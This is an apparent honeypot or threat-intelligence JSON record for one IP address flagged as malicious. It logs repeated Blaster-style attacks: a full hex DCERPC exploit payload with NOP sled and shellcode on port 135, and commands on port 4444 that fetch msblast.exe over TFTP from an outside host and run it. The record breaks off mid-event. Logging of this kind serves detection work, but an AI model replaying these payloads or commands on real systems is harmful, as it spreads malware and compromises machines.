{"ip":"31.160.49.193","data_as_of":"2026-10-29T02:09:14+00:00","observed":true,"total_events":16,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"4 loader / command-injection payload(s)","confidence":"high","network_type":"network service provider","why":["4 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","The same evidence places an address in the public exploiter feed.","One request that fetches a botnet binary is exploitation on its own, whatever the event count.","Not in any known-scanner range.","Sent 7,716 bytes, which is sustained payload delivery."],"engagement":{"level":"payload","label":"Sustained payload","detail":"7,716 bytes sent","bytes_sent":7716,"session_seconds":23,"persistent":false},"basis":"first_contact"},"first_seen":"2026-09-23T11:50:29","last_seen":"2026-10-28T11:37:01","events_24h":4,"events_7d":8,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"NL","country_name":"The Netherlands","region":"North Brabant","city":"Heesch","lat":51.7278,"lon":5.5319,"asn":1136,"org":"KPN B.V."},"source_domain":"31-160-49-193.biz.kpn.net","known_scanners":[],"scanner_tag":{"key":"peeringdb:as1136","label":"KPN NL","category":"isp","url":"https://www.peeringdb.com/asn/1136"},"cve_matches":[],"malware":[],"udp":null,"interaction":null,"top_ports":[{"port":4444,"proto":"tcp","label":"","count":12},{"port":135,"proto":"tcp","label":"MSRPC","count":4}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-09-23","count":4},{"date":"2026-10-14","count":4},{"date":"2026-10-26","count":4},{"date":"2026-10-28","count":4}],"recent_events":[{"timestamp":"2026-10-28T11:37:01","port":4444,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"msblast.exe\n","payload_hex":"6d73626c6173742e6578650a","method":"","user_agent":"","ja3":"","session":"48d3325f-8ba2-4d0d-ab6d-dd3ce0060da6","seq":3,"duration_ms":23097,"bytes_in":65,"bytes_out":39,"enriched":{"digest":"7570a68139ee6061","strings":["msblast.exe"],"iocs":{"domains":["msblast.exe"]}}},{"timestamp":"2026-10-28T11:36:59","port":4444,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"start msblast.exe\n","payload_hex":"7374617274206d73626c6173742e6578650a","method":"","user_agent":"","ja3":"","session":"48d3325f-8ba2-4d0d-ab6d-dd3ce0060da6","seq":2,"duration_ms":21097,"bytes_in":53,"bytes_out":26,"enriched":{"digest":"e51f275f063ad5b7","strings":["start msblast.exe"],"iocs":{"domains":["msblast.exe"]}}},{"timestamp":"2026-10-28T11:36:38","port":4444,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"tftp -i 192.1.3.15 GET msblast.exe\n","payload_hex":"74667470202d69203139322e312e332e313520474554206d73626c6173742e6578650a","method":"","user_agent":"","ja3":"","session":"48d3325f-8ba2-4d0d-ab6d-dd3ce0060da6","seq":1,"duration_ms":100,"bytes_in":35,"bytes_out":13,"enriched":{"digest":"ad039d9a4b4c3283","strings":["tftp -i 192.1.3.15 GET msblast.exe"],"iocs":{"ips":["192.1.3.15"],"domains":["msblast.exe"]}}},{"timestamp":"2026-10-28T11:36:38","port":135,"proto":"tcp","app_proto":"","app_protocol":"socks5","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0005\u0000\u000b\u0003\u0010\u0000\u0000\u0000H\u0000\u0000\u0000\u0000\u0000\u0000�\u0016�\u0016\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\u0000\u0001\u0000�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F\u0000\u0000\u0000\u0000\u0004]���\u001c�\u0011��\b\u0000+\u0010H`\u0002\u0000\u0000\u0000\u0005\u0000\u0000\u0003\u0010\u0000\u0000\u0000�\u0006\u0000\u0000�\u0000\u0000\u0000�\u0006\u0000\u0000\u0001\u0000\u0004\u0000\u0005\u0000\u0006\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u00002$X��EdI�pݮt,��`^\r\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000p^\r\u0000\u0002\u0000\u0000\u0000|^\r\u0000\u0000\u0000\u0000\u0000\u0010\u0000\u0000\u0000����*M�\u0011�j\u0000 �nr�\f\u0000\u0000\u0000MARB\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\r���\u0000\u0000\u0000\u0000��\u000b\u0000 \u0006\u0000\u0000 \u0006\u0000\u0000MEOW\u0004\u0000\u0000\u0000�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F8\u0003\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F\u0000\u0000\u0000\u0000�\u0005\u0000\u0000�\u0005\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0010\b\u0000�����\u0000\u0000\u0000MEOW�\u0005\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0007\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000�(�\u0000d)�\u0000\u0000\u0000\u0000\u0000\u0007\u0000\u0000\u0000�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F\u0007\u0000\u0000\u0000`\u0000\u0000\u0000X\u0000\u0000\u0000�\u0000\u0000\u0000@\u0000\u0000\u0000 \u0000\u0000\u00008\u0003\u0000\u00000\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\u0010\b\u0000����P\u0000\u0000\u0000O�� ����\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0010\b\u0000����H\u0000\u0000\u0000\u0007\u0000f\u0000\u0006\t\u0002\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F\u0010\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000x\u0019\f\u0000X\u0000\u0000\u0000\u0005\u0000\u0006\u0000\u0001\u0000\u0000\u0000pؘ��O�\u0011�=�W�\u0000\u0000\u00002\u00001\u0000\u0001\u0010\b\u0000���̀\u0000\u0000\u0000\r���\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0018C\u0014\u0000\u0000\u0000\u0000\u0000`\u0000\u0000\u0000`\u0000\u0000\u0000MEOW\u0004\u0000\u0000\u0000�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F;\u0003\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F\u0000\u0000\u0000\u00000\u0000\u0000\u0000\u0001\u0000\u0001\u0000��\u0017\u0003�\u000e�J����Poz�\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\u0010\b\u0000����0\u0000\u0000\u0000x\u0000n\u0000\u0000\u0000\u0000\u0000��\r\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000 /\f\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0003\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0003\u0000\u0000\u0000F\u0000X\u0000\u0000\u0000\u0000\u0000\u0001\u0010\b\u0000����\u0010\u0000\u0000\u00000\u0000.\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0010\b\u0000����h\u0000\u0000\u0000\u000e\u0000��h�\u000b\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0001\u0000\u0000\\\u0000\\\u0000F\u0000X\u0000N\u0000B\u0000F\u0000X\u0000F\u0000X\u0000N\u0000B\u0000F\u0000X\u0000F\u0000X\u0000F\u0000X\u0000F\u0000X\u0000�u\u0018\u0000������������������������������������������������������������������������������������������������������������������������������������������������������������������������������\u0019^1Ɂ������6��2����������\u0005�����\u0003S\u0006\u001ftWu������Z\u001aα�|��2�\t�:k�ןM�q�Ɓ�2\u001dƳZ���2���\u001c���A����ˆ6t��Z�~\f$|��2�\t�\"k��LLb�ڊ��2\u001dƫ�����y|�ښ��2\u001dƧ������u\u0012�j��2\u001dƣ���ז��x�z��2\u001dƟ���ז9�V�J��2\u001dƛ������\u0006��Z��2\u001dƗ������F��*��2\u001dƓ\u0001k\u0001S����f���2��*���b���bk֣�L��Z���n\u001fL�$��@d����¤�c��\u001a\u001fP�W���Z���\u001c\u001d揱x�2\u000e��\u0001]\u0003~'?bB�Ф�vjě\u000f\u001dԛz\u001dԛ~\u001dԛb\u0019ě\"���c���c��\u0002��\"\u001fL��k�@d�\u000bwek֓�”�d�!�2��:���4r�\u000b�.9\u000b�:�4r�\u000b\u0017�����Q������g��4^��4w�\u000b�7��j�ޘ4h��bѦ�4\u0006\u001f�J\u0001k|��8�{F�Ap?�xT����&�a4h��bT\u001f���Μ��\u001f�41Qk�\u0001T\u000bjm������/�\u0004\u0000\\\u0000C\u0000$\u0000\\\u00001\u00002\u00003\u00004\u00005\u00006\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u0000.\u0000d\u0000o\u0000c\u0000\u0000\u0000\u0001\u0010\b\u0000���� \u0000\u0000\u00000\u0000-\u0000\u0000\u0000\u0000\u0000�*\f\u0000\u0002\u0000\u0000\u0000\u0001\u0000\u0000\u0000(�\f\u0000\u0001\u0000\u0000\u0000\u0007\u0000\u0000\u0000\u0000\u0000\u0000\u0000","payload_hex":"05000b0310000000480000007f000000d016d016000000000100000001000100a001000000000000c00000000000004600000000045d888aeb1cc9119fe808002b104860020000000500000310000000a8060000e50000009006000001000400050006000100000000000000322458fdcc456449b070ddae742c96d2605e0d000100000000000000705e0d00020000007c5e0d0000000000100000008096f1f12a4dce11a66a0020af6e72f40c0000004d41524201000000000000000df0adba00000000a8f40b0020060000200600004d454f5704000000a201000000000000c0000000000000463803000000000000c00000000000004600000000f0050000e80500000000000001100800ccccccccc80000004d454f57e8050000d800000000000000020000000700000000000000000000000000000000000000c428cd006429cd000000000007000000b901000000000000c000000000000046ab01000000000000c000000000000046a501000000000000c000000000000046a601000000000000c000000000000046a401000000000000c000000000000046ad01000000000000c000000000000046aa01000000000000c00000000000004607000000600000005800000090000000400000002000000038030000300000000100000001100800cccccccc500000004fb68820ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001100800cccccccc48000000070066000609020000000000c000000000000046100000000000000000000000010000000000000078190c0058000000050006000100000070d89893984fd211a93dbe57b20000003200310001100800cccccccc800000000df0adba00000000000000000000000000000000184314000000000060000000600000004d454f5704000000c001000000000000c0000000000000463b03000000000000c00000000000004600000000300000000100010081c51703800ee94a9999f18a506f7a850200000000000000000000000000000000000000000000000100000001100800cccccccc3000000078006e0000000000d8da0d000000000000000000202f0c000000000000000000030000000000000003000000460058000000000001100800cccccccc1000000030002e000000000000000000000000000000000001100800cccccccc680000000e00ffff688b0b000200000000000000000000008601000000000000860100005c005c00460058004e00420046005800460058004e004200460058004600580046005800460058009f751800cce0fd7fcce0fd7f9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090eb195e31c981e989ffffff813680bf329481eefcffffffe2f2eb05e8e2ffffff0353061f7457759580bfbb927f895a1aceb1de7ce1be329409f93a6bb6d79f4d8571dac681bf321dc6b35af8ecbf32fcb38d1cf0e8c841a6dfebcdc2883674907f895ae67e0c247cadbe329409f9226bb6d74c4c62ccda8a81bf321dc6abcde284d7f9797c84da9a81bf321dc6a7cde284d7eb9d7512da6a80bf321dc6a3cde284d7968ef078da7a80bf321dc69fcde284d79639ae56da4a80bf321dc69bcde284d7d7dd06f6da5a80bf321dc697cde284d7d5ed46c6da2a80bf321dc693016b0153a29580bf66fc81be32947fe92ac4d0ef62d4d0ff626bd6a3b94cd7e85a9680ae6e1f4cd524c5d34064b4d7eccdc2a4e863c77fe91a1f50d757ece5bf5af7eddb1c1de68fb178d4320eb0b37f015d037e273f6242f4d0a4af766ac49b0f1dd49b7a1dd49b7e1dd49b6219c49b22c0d0ee63c5eabe63c57fc902c57fe9221f4cd5cd6bb14064980b77656bd693cdc294ea64f0218f3294803af2ec8c3472980bcf2e390bd73a7f893472a00b178a9480bfb951dee2f09080ec67c2d7345eb0983477a80beb37ec836ab9de983468b48362d1a6c934061f834a016b7c8cf238ba7b469341703f977854c0affc9b26e1613468b08362541f8cf4b9ce9cbcef1f843431516bbd01540b6a6dcadde4f090802fa204005c00430024005c003100320033003400350036003100310031003100310031003100310031003100310031003100310031002e0064006f006300000001100800cccccccc2000000030002d0000000000882a0c000200000001000000288c0c00010000000700000000000000","method":"","user_agent":"","ja3":"","session":"6044246d-5349-48ee-86b8-a65d4c110783","seq":1,"duration_ms":1,"bytes_in":1776,"bytes_out":13,"enriched":{"digest":"c49068f9552f5b8d","label":"SOCKS5","strings":["MARB","MEOW","~'?bB","41Qk","``MEOW","\\\\FXNBFXFXNBFXFXFXFX","\\C$\\123456111111111111111.doc"],"iocs":{"domains":["123456111111111111111.doc"]}}},{"timestamp":"2026-10-26T11:50:19","port":4444,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"msblast.exe\n","payload_hex":"6d73626c6173742e6578650a","method":"","user_agent":"","ja3":"","session":"a73b71f9-282e-41c4-9c21-272f2aa4ba27","seq":3,"duration_ms":23100,"bytes_in":65,"bytes_out":39,"enriched":{"digest":"7570a68139ee6061","strings":["msblast.exe"],"iocs":{"domains":["msblast.exe"]}}},{"timestamp":"2026-10-26T11:50:17","port":4444,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"start msblast.exe\n","payload_hex":"7374617274206d73626c6173742e6578650a","method":"","user_agent":"","ja3":"","session":"a73b71f9-282e-41c4-9c21-272f2aa4ba27","seq":2,"duration_ms":21100,"bytes_in":53,"bytes_out":26,"enriched":{"digest":"e51f275f063ad5b7","strings":["start msblast.exe"],"iocs":{"domains":["msblast.exe"]}}},{"timestamp":"2026-10-26T11:49:56","port":4444,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"tftp -i 192.1.3.15 GET msblast.exe\n","payload_hex":"74667470202d69203139322e312e332e313520474554206d73626c6173742e6578650a","method":"","user_agent":"","ja3":"","session":"a73b71f9-282e-41c4-9c21-272f2aa4ba27","seq":1,"duration_ms":100,"bytes_in":35,"bytes_out":13,"enriched":{"digest":"ad039d9a4b4c3283","strings":["tftp -i 192.1.3.15 GET msblast.exe"],"iocs":{"ips":["192.1.3.15"],"domains":["msblast.exe"]}}},{"timestamp":"2026-10-26T11:49:55","port":135,"proto":"tcp","app_proto":"","app_protocol":"socks5","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0005\u0000\u000b\u0003\u0010\u0000\u0000\u0000H\u0000\u0000\u0000\u0000\u0000\u0000�\u0016�\u0016\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\u0000\u0001\u0000�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F\u0000\u0000\u0000\u0000\u0004]���\u001c�\u0011��\b\u0000+\u0010H`\u0002\u0000\u0000\u0000\u0005\u0000\u0000\u0003\u0010\u0000\u0000\u0000�\u0006\u0000\u0000�\u0000\u0000\u0000�\u0006\u0000\u0000\u0001\u0000\u0004\u0000\u0005\u0000\u0006\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u00002$X��EdI�pݮt,��`^\r\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000p^\r\u0000\u0002\u0000\u0000\u0000|^\r\u0000\u0000\u0000\u0000\u0000\u0010\u0000\u0000\u0000����*M�\u0011�j\u0000 �nr�\f\u0000\u0000\u0000MARB\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\r���\u0000\u0000\u0000\u0000��\u000b\u0000 \u0006\u0000\u0000 \u0006\u0000\u0000MEOW\u0004\u0000\u0000\u0000�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F8\u0003\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F\u0000\u0000\u0000\u0000�\u0005\u0000\u0000�\u0005\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0010\b\u0000�����\u0000\u0000\u0000MEOW�\u0005\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0007\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000�(�\u0000d)�\u0000\u0000\u0000\u0000\u0000\u0007\u0000\u0000\u0000�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F\u0007\u0000\u0000\u0000`\u0000\u0000\u0000X\u0000\u0000\u0000�\u0000\u0000\u0000@\u0000\u0000\u0000 \u0000\u0000\u00008\u0003\u0000\u00000\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\u0010\b\u0000����P\u0000\u0000\u0000O�� ����\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0010\b\u0000����H\u0000\u0000\u0000\u0007\u0000f\u0000\u0006\t\u0002\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F\u0010\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000x\u0019\f\u0000X\u0000\u0000\u0000\u0005\u0000\u0006\u0000\u0001\u0000\u0000\u0000pؘ��O�\u0011�=�W�\u0000\u0000\u00002\u00001\u0000\u0001\u0010\b\u0000���̀\u0000\u0000\u0000\r���\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0018C\u0014\u0000\u0000\u0000\u0000\u0000`\u0000\u0000\u0000`\u0000\u0000\u0000MEOW\u0004\u0000\u0000\u0000�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F;\u0003\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0000\u0000\u0000F\u0000\u0000\u0000\u00000\u0000\u0000\u0000\u0001\u0000\u0001\u0000��\u0017\u0003�\u000e�J����Poz�\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\u0010\b\u0000����0\u0000\u0000\u0000x\u0000n\u0000\u0000\u0000\u0000\u0000��\r\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000 /\f\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0003\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0003\u0000\u0000\u0000F\u0000X\u0000\u0000\u0000\u0000\u0000\u0001\u0010\b\u0000����\u0010\u0000\u0000\u00000\u0000.\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0010\b\u0000����h\u0000\u0000\u0000\u000e\u0000��h�\u000b\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000�\u0001\u0000\u0000\u0000\u0000\u0000\u0000�\u0001\u0000\u0000\\\u0000\\\u0000F\u0000X\u0000N\u0000B\u0000F\u0000X\u0000F\u0000X\u0000N\u0000B\u0000F\u0000X\u0000F\u0000X\u0000F\u0000X\u0000F\u0000X\u0000�u\u0018\u0000������������������������������������������������������������������������������������������������������������������������������������������������������������������������������\u0019^1Ɂ������6��2����������\u0005�����\u0003S\u0006\u001ftWu������Z\u001aα�|��2�\t�:k�ןM�q�Ɓ�2\u001dƳZ���2���\u001c���A����ˆ6t��Z�~\f$|��2�\t�\"k��LLb�ڊ��2\u001dƫ�����y|�ښ��2\u001dƧ������u\u0012�j��2\u001dƣ���ז��x�z��2\u001dƟ���ז9�V�J��2\u001dƛ������\u0006��Z��2\u001dƗ������F��*��2\u001dƓ\u0001k\u0001S����f���2��*���b���bk֣�L��Z���n\u001fL�$��@d����¤�c��\u001a\u001fP�W���Z���\u001c\u001d揱x�2\u000e��\u0001]\u0003~'?bB�Ф�vjě\u000f\u001dԛz\u001dԛ~\u001dԛb\u0019ě\"���c���c��\u0002��\"\u001fL��k�@d�\u000bwek֓�”�d�!�2��:���4r�\u000b�.9\u000b�:�4r�\u000b\u0017�����Q������g��4^��4w�\u000b�7��j�ޘ4h��bѦ�4\u0006\u001f�J\u0001k|��8�{F�Ap?�xT����&�a4h��bT\u001f���Μ��\u001f�41Qk�\u0001T\u000bjm������/�\u0004\u0000\\\u0000C\u0000$\u0000\\\u00001\u00002\u00003\u00004\u00005\u00006\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u00001\u0000.\u0000d\u0000o\u0000c\u0000\u0000\u0000\u0001\u0010\b\u0000���� \u0000\u0000\u00000\u0000-\u0000\u0000\u0000\u0000\u0000�*\f\u0000\u0002\u0000\u0000\u0000\u0001\u0000\u0000\u0000(�\f\u0000\u0001\u0000\u0000\u0000\u0007\u0000\u0000\u0000\u0000\u0000\u0000\u0000","payload_hex":"05000b0310000000480000007f000000d016d016000000000100000001000100a001000000000000c00000000000004600000000045d888aeb1cc9119fe808002b104860020000000500000310000000a8060000e50000009006000001000400050006000100000000000000322458fdcc456449b070ddae742c96d2605e0d000100000000000000705e0d00020000007c5e0d0000000000100000008096f1f12a4dce11a66a0020af6e72f40c0000004d41524201000000000000000df0adba00000000a8f40b0020060000200600004d454f5704000000a201000000000000c0000000000000463803000000000000c00000000000004600000000f0050000e80500000000000001100800ccccccccc80000004d454f57e8050000d800000000000000020000000700000000000000000000000000000000000000c428cd006429cd000000000007000000b901000000000000c000000000000046ab01000000000000c000000000000046a501000000000000c000000000000046a601000000000000c000000000000046a401000000000000c000000000000046ad01000000000000c000000000000046aa01000000000000c00000000000004607000000600000005800000090000000400000002000000038030000300000000100000001100800cccccccc500000004fb68820ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001100800cccccccc48000000070066000609020000000000c000000000000046100000000000000000000000010000000000000078190c0058000000050006000100000070d89893984fd211a93dbe57b20000003200310001100800cccccccc800000000df0adba00000000000000000000000000000000184314000000000060000000600000004d454f5704000000c001000000000000c0000000000000463b03000000000000c00000000000004600000000300000000100010081c51703800ee94a9999f18a506f7a850200000000000000000000000000000000000000000000000100000001100800cccccccc3000000078006e0000000000d8da0d000000000000000000202f0c000000000000000000030000000000000003000000460058000000000001100800cccccccc1000000030002e000000000000000000000000000000000001100800cccccccc680000000e00ffff688b0b000200000000000000000000008601000000000000860100005c005c00460058004e00420046005800460058004e004200460058004600580046005800460058009f751800cce0fd7fcce0fd7f9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090eb195e31c981e989ffffff813680bf329481eefcffffffe2f2eb05e8e2ffffff0353061f7457759580bfbb927f895a1aceb1de7ce1be329409f93a6bb6d79f4d8571dac681bf321dc6b35af8ecbf32fcb38d1cf0e8c841a6dfebcdc2883674907f895ae67e0c247cadbe329409f9226bb6d74c4c62ccda8a81bf321dc6abcde284d7f9797c84da9a81bf321dc6a7cde284d7eb9d7512da6a80bf321dc6a3cde284d7968ef078da7a80bf321dc69fcde284d79639ae56da4a80bf321dc69bcde284d7d7dd06f6da5a80bf321dc697cde284d7d5ed46c6da2a80bf321dc693016b0153a29580bf66fc81be32947fe92ac4d0ef62d4d0ff626bd6a3b94cd7e85a9680ae6e1f4cd524c5d34064b4d7eccdc2a4e863c77fe91a1f50d757ece5bf5af7eddb1c1de68fb178d4320eb0b37f015d037e273f6242f4d0a4af766ac49b0f1dd49b7a1dd49b7e1dd49b6219c49b22c0d0ee63c5eabe63c57fc902c57fe9221f4cd5cd6bb14064980b77656bd693cdc294ea64f0218f3294803af2ec8c3472980bcf2e390bd73a7f893472a00b178a9480bfb951dee2f09080ec67c2d7345eb0983477a80beb37ec836ab9de983468b48362d1a6c934061f834a016b7c8cf238ba7b469341703f977854c0affc9b26e1613468b08362541f8cf4b9ce9cbcef1f843431516bbd01540b6a6dcadde4f090802fa204005c00430024005c003100320033003400350036003100310031003100310031003100310031003100310031003100310031002e0064006f006300000001100800cccccccc2000000030002d0000000000882a0c000200000001000000288c0c00010000000700000000000000","method":"","user_agent":"","ja3":"","session":"259dea39-a02f-443a-8f72-8c392181f064","seq":1,"duration_ms":1,"bytes_in":1776,"bytes_out":13,"enriched":{"digest":"c49068f9552f5b8d","label":"SOCKS5","strings":["MARB","MEOW","~'?bB","41Qk","``MEOW","\\\\FXNBFXFXNBFXFXFXFX","\\C$\\123456111111111111111.doc"],"iocs":{"domains":["123456111111111111111.doc"]}}},{"timestamp":"2026-10-14T11:12:52","port":4444,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"msblast.exe\n","payload_hex":"6d73626c6173742e6578650a","method":"","user_agent":"","ja3":"","session":"404c765d-e9f9-41b3-8cf2-35606c725925","seq":3,"duration_ms":23100,"bytes_in":65,"bytes_out":39,"enriched":{"digest":"7570a68139ee6061","strings":["msblast.exe"],"iocs":{"domains":["msblast.exe"]}}},{"timestamp":"2026-10-14T11:12:50","port":4444,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"